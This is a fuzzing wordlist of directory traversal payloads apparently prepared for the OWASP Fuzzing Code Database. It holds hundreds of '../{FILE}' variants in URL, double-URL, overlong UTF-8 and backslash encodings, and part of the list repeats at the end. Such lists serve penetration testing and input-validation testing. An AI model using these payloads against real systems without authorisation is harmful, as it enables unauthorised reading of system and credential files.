Fuzz (17 March 2010) <br /> # Derived from the awesome &quot;Directory Traversal Fuzzing Code&quot; v0.2 by Luca Carettoni<br /> # Did some cleanup &amp; removed anything to the right of {FILE} for inclusion in a<br /> # separate fuzzfile for more flexibiity, for the OWASP Fuzzing Code Database. <br /> # adam.muntner@uietmove.com <br /> <br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> ..%c0%af{FILE}<br /> ..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> %c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> ..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> ..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> %c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> ..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> ..%%32%66{FILE}<br /> ..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> %%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> ..%%35%63{FILE}<br /> ..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> %%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> 